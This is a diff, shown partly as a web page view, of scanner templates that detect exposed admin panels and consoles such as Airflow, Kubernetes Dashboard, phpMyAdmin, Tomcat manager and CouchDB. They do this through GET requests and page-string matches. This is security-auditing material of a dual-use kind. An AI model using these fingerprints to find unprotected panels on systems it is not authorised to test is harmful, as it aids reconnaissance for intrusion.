@@ -0,0 +1,18 @@
id: activemq-panel
info:
name: Apache ActiveMQ Exposure
author: pd-team
severity: info
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '<h2>Welcome to the Apache ActiveMQ!</h2>'
- '<title>Apache ActiveMQ</title>'
condition: and
File renamed without changes.
+18
View File
@@ -0,0 +1,18 @@
id: airflow-exposure
info:
name: Apache Airflow Exposure / Unauthenticated Access
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}'
- '{{BaseURL}}/admin/'
matchers:
- type: word
words:
- '<title>Airflow - DAGs</title>'
- '<a href="https://github.com/apache/airflow">'
condition: and
+18
View File
@@ -0,0 +1,18 @@
id: ambari-exposure
info:
name: Apache Ambari Exposure / Unauthenticated Access
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '<title>Ambari</title>'
- 'href="http://www.apache.org/licenses/LICENSE-2.0"'
condition: and
@@ -0,0 +1,18 @@
id: ansible-tower-exposure
info:
name: Ansible Tower Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- "<title>Ansible Tower</title>"
- "ansible-main-menu"
condition: and
@@ -1,4 +1,5 @@
id: atlassian-crowd-panel
info:
name: Atlassian Crowd panel detect
author: organiccrap
File renamed without changes.
@@ -2,7 +2,7 @@ id: citrix-vpn-detect
info:
name: Citrix VPN Detection
author: bauthard
author: pd-team
severity: info
requests:
File renamed without changes.
+18
View File
@@ -0,0 +1,18 @@
id: couchdb-exposure
info:
name: Apache CouchDB Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}/_all_dbs'
matchers:
- type: word
words:
- CouchDB/
- Erlang OTP/
part: header
condition: and
+16
View File
@@ -0,0 +1,16 @@
id: couchdb-fauxton
info:
name: Apache CouchDB Fauxton Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '<title>Project Fauxton</title>'
File renamed without changes.
+17
View File
@@ -0,0 +1,17 @@
id: django-admin-panel
info:
name: Python Django Admin Panel
author: pd-team
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/admin/login/?next=/admin/"
matchers:
- type: word
words:
- "<a href=\"/admin/\">Django administration</a>"
condition: and
part: body
+18
View File
@@ -0,0 +1,18 @@
id: druid-console-exposure
info:
name: Alibaba Druid Console Exposure
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- 'src="/druid.js"'
- 'href="/druid.css"'
condition: and
+15
View File
@@ -0,0 +1,15 @@
id: exposed-pagespeed-global-admin
info:
name: Apache PageSpeed Global Admin Dashboard Exposure
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/pagespeed_admin/'
matchers:
- type: word
words:
- "<b>Pagespeed Admin</b>"
+17
View File
@@ -0,0 +1,17 @@
id: exposed-webalizer
info:
name: Publicly exposed Webalizer Interface
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}/webalizer/'
matchers:
- type: word
words:
- "Webalizer Version"
- "Usage statistics for"
condition: and
+16
View File
@@ -0,0 +1,16 @@
id: flink-exposure
info:
name: Apache Flink Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '<title>Apache Flink Web Dashboard</title>'
+24
View File
@@ -0,0 +1,24 @@
id: fortiweb-login
info:
name: Fortinet FortiWeb Login Panel
author: PR3R00T
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/login"
matchers-condition: and
matchers:
- type: word
words:
- "Please login"
- "ftnt-fortinet-grid"
- "main-fortiweb.css"
condition: and
part: body
- type: status
status:
- 200
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
+15
View File
@@ -0,0 +1,15 @@
id: hadoop-exposure
info:
name: Apache Hadoop Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}/dfshealth.html'
matchers:
- type: word
words:
- '<div class="navbar-brand">Hadoop</div>'
File renamed without changes.
File renamed without changes.
+16
View File
@@ -0,0 +1,16 @@
id: kafka-connect-ui
info:
name: Apache Kafka Connect UI Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '<title>Kafka Connect UI</title>'
+17
View File
@@ -0,0 +1,17 @@
id: kafka-monitoring
info:
name: Apache Kafka Monitor Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '>KafkaMonitor</a>'
- '>Kafka Monitor GUI</h1>'
+16
View File
@@ -0,0 +1,16 @@
id: kafka-topics-ui
info:
name: Apache Kafka Topics UI Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- '<title>Kafka Topics UI - Browse Kafka Data</title>'
+15
View File
@@ -0,0 +1,15 @@
id: kubernetes-dashboard
info:
name: Kubernetes Console Exposure
author: pd-team
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "Kubernetes Dashboard</title>"
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -2,7 +2,7 @@ id: parallels-html-client
info:
name: Parallels HTML5 Client
author: bauthard
author: pd-team
severity: info
requests:
@@ -2,7 +2,7 @@ id: phpmyadmin-panel
info:
name: phpMyAdmin Panel
author: bauthard
author: pd-team
severity: info
requests:
File renamed without changes.
@@ -10,7 +10,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers-condition: and
@@ -1,15 +1,15 @@
id: public-tomcat-instance
id: public-tomcat-manager
info:
name: tomcat manager disclosure
author: Ahmed Sherif
author: Ahmed Sherif & geeknik
severity: info
requests:
- method: GET
path:
- '{{BaseURL}}/manager/html'
- '{{BaseURL}}:8080/manager/html'
matchers-condition: and
matchers:
- type: word
@@ -18,3 +18,5 @@ requests:
- type: status
status:
- 401
- 200
condition: or
File renamed without changes.
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- '{{BaseURL}}'
- "{{BaseURL}}:15672"
matchers:
- type: word
words:
+16
View File
@@ -0,0 +1,16 @@
id: rocketmq-console-exposure
info:
name: Apache RocketMQ Console Exposure
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- "<title>RocketMq-console-ng</title>"
File renamed without changes.
@@ -9,7 +9,6 @@ requests:
- method: GET
path:
- "{{BaseURL}}/sap/hana/xs/formLogin/login.html"
- "{{BaseURL}}:8000/sap/hana/xs/formLogin/login.html"
redirects: true
matchers:
- type: word
File renamed without changes.
File renamed without changes.
+17
View File
@@ -0,0 +1,17 @@
id: selenoid-ui-exposure
info:
name: Selenoid UI Dashboard Exposure
author: pd-team
severity: medium
requests:
- method: GET
path:
- '{{BaseURL}}/admin/login'
matchers:
- type: word
words:
- "<title>Selenoid UI</title>"
- "/manifest.json"
condition: and
+20
View File
@@ -0,0 +1,20 @@
id: setup-page-exposure
info:
name: Zenphoto Setup Page Exposure
author: pd-team
severity: medium
description: Misconfiguration on Zenphoto version < 1.5.X which lead to sensitive information disclosure
requests:
- method: GET
path:
- '{{BaseURL}}/zp-core/setup/index.php'
- '{{BaseURL}}/zp/zp-core/setup/index.php'
- '{{BaseURL}}/gallery/zp-core/setup/index.php'
- '{{BaseURL}}/zenphoto/zp-core/setup/index.php'
matchers:
- type: word
words:
- Welcome to Zenphoto! This page will set up Zenphoto
part: body
Loaded 100 of 311 files, more files were not shown because too many files have changed in this diff. Show more